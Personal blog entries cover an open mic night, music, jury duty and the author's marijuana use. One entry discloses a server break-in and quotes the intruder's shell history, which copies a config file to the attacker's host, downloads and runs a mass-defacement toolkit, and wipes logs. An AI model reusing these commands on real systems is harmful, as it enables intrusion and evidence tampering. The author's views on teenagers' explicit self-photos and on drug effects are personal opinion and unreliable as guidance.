Never been one to let the carrier drop

Grab the book nearest you, turn to page 23, find the fifth sentence. Write down what it says, along with these sentences, and post it in your journal.

1) Stone Mirror – 2) Ranger Rick – 3) Rialian – 4) Elenbarathi – 5) Starsandfishes – 6) Echthros – 7) Doltaghey – 8) Autumnflame – 9) Aliterati – 10) Greensword – 11) Sheer_panic

Brandy, and Tom got increasingly close-mouthed and sour. Although a certain sense of tripartite society survived down to Christian times, the three classes described in the Eddic poem “Rigdthula” bear little resemblance to Dumezil’s three. It is often argued, and still oftener thought, that none but bad men would desire to weaken these salutary beliefs; and there can be nothing wrong, it is thought, in restraining bad men, and prohibiting what only such men would wish to practice. At its nearest point the wall was little more than one league from the City, and that was south-eastward. When he saw Jack Hare jump towards the fire, and the Practical Man brandishing the toasting-fork, Sir Isaac grabbed the strings of gravitational force that bound Jack to his destiny and PULLED— That’s a seventy-four gun privateer, besides. To honour a group of British nobles, treacherously slain at a conference by Hengist’s guards, Aurelius decides to erect a great monument near Amesbury. Describe how the temperature of the pie changes as time passes. This is no isolated fact. I think that a good newspaper is as truly an educational institution as a college, so I don’t see why it should have to stake its survival on attracting advertisers of ball-point pens and tickets to Hollywood peep shows. The interne examined the patient as closely as possible but refrained from touching him.

Okay, so I have to comment on my open mic experience, since it was such a large thing for me.

I got there at about 6:10 – Esen had already signed us up for 8:40, so that left me with two and a half hours of fear.. 😉 Esen’s SO, Thor, was there, and we talked about algorythms until 7.. [does anyone know a really graceful way to count the number of bits that are turned on in a arbitrarily large register?] when people started playing. There were a variety of acts of all quality levels.. two particular ones stand out as being truly great.. there was a guy who played Hendrix like Hendrix.. he rocked the house quite nicely, I’m sad I didn’t get his name. And then there was a woman who did a little couple of little blues songs with pretty good piano accompniment.. (walking bass line) and a voice that _would not STOP_. There was also a guy who sang a great song about Washington D.C. and its lack of representation, which was also good.. and a guy who morphed ‘ground control to major tom’ to be a song about Beans the Dog, who ran away.. I can’t describe the song, but it was clever and funny. Hm. Other things that stand out in my mind? A singer/songwriter who did ‘my girl’, which made me decide I have to add some motown to my mix.. maybe ‘what becomes of the brokenhearted’ since I love the Funk Brothers / Standing In The Shadows of Motown remix of it so much… though, a lot of what I love about it there is the phat choir breakdown, and lacking eight voices to do 8-part harmony, that’s not going to be happening for me any time soon.

But anyhoo…

We talked about electronic voting machines and other machinations. Mike showed up. I drank a irish coffee.. [very, very tasty and definately helped me be a little less terrified].

Before we knew it it was 8:40 and me + Patti were ascending the stage. ‘Winter’ went as smooth as a baby’s bottom.. well, so I’m told. I don’t remember anything but the sustain pedal trying to run away from me, and looking up a few times..

‘Sounds of Silence’ got some serious applause, although maybe they were applauding that we were done. I tried to do some fancy fingering for the solo, and slipped up on my timing a couple of times. But I don’t think anyone who didn’t know what i was trying to do could have known that I had screwed up. ANyway, I got through it without anything too dischordant happening. One guy even gave me a thumbs up as I was leaving the bar, which made me feel really good..

So that’s it. My virginity is gone 😉 And I want to go back and do it again. Maybe not there. Maybe I’ll just do a couple of my guitar songs down on the corner. Who knows. But while it was pretty terrifying, it was also pretty cool. And I know that I can overcome the terror, and I know that overcoming the terror will be good for me.

o/~ Strum your guitar, sing it kid.. just write about your feelings, not the things you never did.. inexperience – it once accursed me – but your youth is no handicap, it’s waht makes you thirsty… o/~

[and then afterwords, Esen and Thor came over and we played and sang and talked and had a good time.. then I talked to another cool amazon employee on Brig, and did a RFS transmission for them..

And now I’m going to sleep. My box has all the kernals upgraded appropriately. For those who are curious, I downloaded the mass.tgz that the attacker used. It lives at www.sheer.us/owned/

http://www.pittsburghlive.com/x/search/s_186625.html

Okay, let’s think about this.

I am against child porn. I think pretty much everyone wno knows me would know that I am against child porn.

But I feel this is a violation of this girl’s first amendment rights.

Look, the bill of rights might have to be modified somewhat for people under 18, but that doesn’t mean it doesn’t exist.

If you, as a 15 year old (or a 90 year old) voluntarily choose, without coercion, to photograph yourself without clothing or doing sexually explicit acts, that is your right. Arresting you for this is morally wrong.

[Oh boy. Now comes the hard part. ]

The problem is, theoretically, I hate child porn. But you know what? I don’t think as a child, you should be legally punished for showing your body. I mean, what’s next, busting people for playing doctor?

If you want to do it, it’s your body, your mind..

I understand that this brings up serious problems.. how do you know if child porn that someone has is consentual or not? How do you know if any porn contains children who were coerced, or children who chose to perform?

I don’t know. This brings up a lot of grey areas, for sure. But they better not do anything to her.

I would LOVE a audio recording of that trial. I’m sure it’s going to have some priceless moments.

I wonder if there’s anywhere that I can donate to her defense fund.

Well, a day of good and bad spots.

First of all, let me just say, the U.S.E. CD release party _rocked_! I realize very few of my friends list lives in Seattle, and of those who do, most wouldn’t ever do anything as peblean as listening to U.S.E., but I don’t care. It rocked. If you like the B-52s, or 80s pop in general, their CD is well worth the $12. Those of you not in the SeaTac area can buy it at their web site.

No, they’re not paying me to plug them. 😉 They’re just really good. And their music has hope – something that I’ve been missing. 😉

Anyway, second of all, Curious warned me and I was a bad Sheer and didn’t listen.. the kernel on sheer.us had two known paths to root from nonpriv’d users.. and I got owned, by
aarkan@rachacuca.homelinux.com.

A excerpt of the .bash_history, for those of you who like such things, is below:

who
ps aux
cd /usr/local/apache/conf
ls
who
ftp ftp.grupong.v10.com.br
ftp ftp.grupong.v10.com.br
ftp rachacuca.homelinux.com
ftp rachacuca.homelinux.com
scp httpd.conf aarkan@rachacuca.homelinux.com
scp httpd.conf aarkan@rachacuca.homelinux.com:/home/aarkan
cd
cd /root
cd .ssh
ls
rm know_hosts
cat /dev/null > known_hosts
cd /tmp
cd /home
ls
cd kenny
ls
cd ..
ls
cd netlogin
ls
cd ..
lls
ls
cd
cd /
mkdir mass
cd mass
wget www.geocities.com/xferror/mass.tgz
wget rachacuca.homelinux.com/NG/index.html
uname -a
wget rachacuca.homelinux.com/NG/index.html
rm index.html
mv index.html.1 index.kmg
tar zxvf mass.tgz
./mass /home
chmod 777 mass
chmod 777 mass2
chmod 777 mass3
cd /usr/local/apache/logs
ls
cat /dev/null > *
ls -l
cd /mass
wget rachacuca.homelinux.com/NG/limpalog.sh
chmod 777 limpalog.sh
./limpalog.sh /usr/local/apache/logs
ls -l /usr/local/apache/logs
./limpalogs.sh /var/logs
./limpalog.sh /var/log
./limpalog.sh /var/log/httpd
./mass /home
./mass1 /home
./mass2 /home
./mass3 /home
rm brk2.zip
rm bind.zip
rm -rf /mass

Anyway, normally I’d be completely cool with this – but he didn’t leave the old index.html’s renamed, so I’m somewhat annoyed at him.

Look, security can be a game of chess, fun for both sides – or it can be a war, involving cops and thugs and jail time and stuff. If no damage is done, it’s a lot more likely to stay the former – fun for everyone.

Hackers, ALWAYS back up waht you deface. Luckily, the wayback machine had most of what was lost (I hadn’t done a backup in forever. Bad sheer number 2.. )

Anyway, so right now I’m slowly progressing through the PITA of upgrading every potentially vulnerable service..

Argh. I just posted a reply and lj ate it.

> We’ll try again.

> I think watering down the definition of ‘addiction’ is a bad idea, as it ultimately means > that the word becomes useless.

> Lacking cravings or feelings that you *must* have pot to function or to ever be happy
> again or something like that, it’s not an addiction. In your other post you mentioned that > smoking pot slowed down your thinking for weeks afterwards. Are you sure about that?
> That’s one of those things that are often cited as fact by anti-drug sources, but no
> research really backs it up (chronic pot smoking can slow down your brain, but it picks
> back up after 1-6 months off..and that’s chronic like every day, most of the day..not an
> occasional joint on weekends) and a fair amount of research refutes it. That said, it’s
> entirely possible you have an idiosyncratic reaction to the stuff. It’s not as if it would
> be your first idiosyncratic reaction to something. So if that really is the case, you’ll
> have to do a cost/benefits analysis on it. Just makes sure you’re using real data and not
> disinformation for that analysis.

It’s pretty clear that given my lack of cravings, and my ability to ponder the matter dispassionately (more or less) that I’m in no way physically addicted, and that herb is nowhere near as addictive as it’s legal counterpart (cigs). I find that kind of funny..

As for the slowing down thing: I can sense it. It’s not a huge slowdown.. it’s not like I become a gibbering idiiot – it’s just fractions of a percent for each time I smoke. But right now at least I need those fractions of a percent – I’m juggling many projects, almost all of which require me to be smarter than the average bear – and almost all of which require me to be smarter than the average bear in a _different_ category. We’ve got analog electronics, programming, particle physics.. I’m learning large chunks of new material every week, and of course I have to keep working to keep myself fed.

I do think that weed has some long term effects, because all the people I know who have been chronic weed abusers (read: addicts ;-)) have been noticably slower than other people – and in one case, noticably slower after than before. However, alchohol does more damage – far, far more – so I guess if people have to be addicted to something, I’ll choose weed every time.

Similarly, E. is proported by many studies to be totally harmless – but everyone I know who uses E. regularly seems to have lost 20 points of IQ..

At the same time, I want to rationalize my use of weed because when I smoke alone or in small groups of people (as opposed to at parties for example) I do genuinely enjoy myself. ANd it’s not like I smoke a joint and then sit in front of the TV for hours – I still do productive things. But I don’t think that I learn as fast – I may be able to program somewhat better stoned (although I’ve only tried it a few times) but I’m not nearly as good at system administration, design, or a number of other things.

On the other hand, weed has led me to many nonintuitive ways of visualizing the world that have been very helpful, and has led me to many personal insights. So I don’t know. Anyway, it’s not likely that not using it is going to hurt me in any way aside fromt he enjoyment that I might miss out oon derving from it.

I don’t know. I will ponder this issue more. Maybe I’ll go back and look at my journal to see how long it’s been since I smoked.

[perhaps I should regularly log when I smoke in my journal, if I resume. Then I can look over it to detect patterns. Yes, this is acknowledging a illegal activity in a public place, but on the other hand, it’s a activity that I do not feel should be illegal – and if arrested for it, at least I’ll get the satisfaction of saying to the judge something like this:

—————————————————————————————-

Your honor, we have a problem here. The purpose of the criminal justice system is ostensibly rehabilitation – but I can tell you that no amount of time spent in jail will make me feel regret for inhaling the smoke of a burning plant, and no fine will make me feel that I should not smoke it. This is not the voice of addiction speaking, this is the voice of sanity. Jail time will only make me feel resentful towards a system that is doling out a punishment for a crime that, as far as I can tell, hurts no one – not even myself.

I am, as far as I can tell, a productive, taxpaying member of society. I build useful software and develop useful hardware. I am making serious inroads in making electric vehicles practical for use by Joe Sixpack. I write music that others enjoy and give it away for free. I am a positive force in the world I live in. Marajuana does not appear to have reduced the positive force I exert – on the contrary, I think it sometimes affords me insights into the projects I am working on that I would not have sober.

If your honor can tell me a reason that makes sense to me that I should not smoke marajuana – that I should look on this behavior as undesirable – I will stop. But no sentance that doesn’t involve a rational explanation of why this action is wrong will cause me to stop, or feel regret or remorse. You can lock me up for a hundred years – depriving the U.S. government of a hundred years of my taxes, and the world of a hundred years of whatever positive force I might exert – and I will feel no differently about this crime at the end of the hundred years. I am not a child – you can not change my mind by forcing me to sit in the corner.

You will likely tell me that you are obliged to pass sentance on me not because of your own personal feelings but because of the obligations of the job – that you are not free to decide whether or not to pass sentance. This is a lie – you are lying to yourself. No man or woman is obliged to do his job – that is one of the good things about capitolism. You are free to resign today – or to take actions that even if morally right, would get you fired – i.e. not passing sentance. If you find behaving dishonorably – condemning others to a fate you do not agree with – to be worth avoiding having to find a new job, then I feel sorry for you.

If you agree with this fate, then surely you can give me a rational explanation for why smoking marajuana is wrong.

As a side note, if every man and woman would refuse to do tasks that are dishonorable, even for pay, the world would be a far, far better place to live in. And if every judge refused to pass sentance on people for crimes which hurt no one, soon the laws making those actions crimes would be removed, for the world needs judges.

————————————————————————————–

So I see I have been selected for jury duty.. which is okay with me, civil duty and all, I’ve been registered to vote since I was 18, so it was bound to happen sooner or later, and if once every 9 years is the best they can do, I guess I can live with it..

but here’s the insulting part: they require me to provide a stamp to mail back the form – and I must mail it back, or I’m liable for a misdemeaner charge or something equally horrible. Says right here it’s a crime to intentionally fail to appear as directed – but doesn’t say anything about failing to mail the form back…

Still, they ought to have provided the postage.

And they want me to show up at 8 am. So if I sleep through it, I won’t feel too awful. I mean, really, what are they going to do to me? 😉 But I’ll write it on my calander..

I can’t decide if it’s addiction, or something else. I think not.. I don’t have cravings like I do with cigs. I just genuinely regret giving up something that’s given me much happiness. Maybe I should just give up using it in social situations.. ?

Must think about this.

In the meantime, I think I have a workable Scotty design. Now I just wish those digikey parts would get here..

I jsut got done seeing eternal sunshine of a spotless mind.. and it’s shaking lots of little things loose in my head. I’m not really sure what to say about those little things, except – I would not, in general, choose to give up my memory of a relationship, even one that ended badly.

So, I’m doing something probably ill advised and diverging from Lee’s design on Scotty in favor of one that I can impliment quicker and dirtier. Assuming that I understand the concept at all – but I’m pretty sure I do, it’s a pretty simple concept.

Anyway, the offshoot is that I’ll probably be setting fire to some silicon soon, a concept which makes me oddly cheery.

Tory dropped by again last night. I’ll post a link to our handiwork as soon as I figure out why the Viao has decided it doesn’t have a network card. (this isn’t new – things have been burning out on that laptop for the last few years – it’s well past what anyone would call a normal operating lifespan for a laptop, and it’s been run very hard as well, so I can’t really complain that much).

Anyway, so he also wants to do some live performance stuff soon, so we’re going to try and meet once a week, and sooner rather than later try and get a booking somewhere. Look for us coming to a club near you.

In the meantime, I’m trying to get Esen to do a open mic with me on Sunday – oh, shoot, I just realized I’ve double-booked myself for Sunday. Hm. Will have to talk to Tory about that. Anyway, if she goes for it, it will be my first public performance since high school. I’m not particularly nervious about it though, i mean, so what, I go, it sucks, who goes to the liquid lounge on sundays anyway? 😉

But I am determined to do a open mic somewhere soon..

TO LJ friends, sorry I’m behind on my LJ reading, I’ve been busy working. Will try and catch up today or tomorrow.

Anyway, nothing all that exciting or new. P. called, may be going to a movie, she sounded progressively more annoyed though. ;-(

S.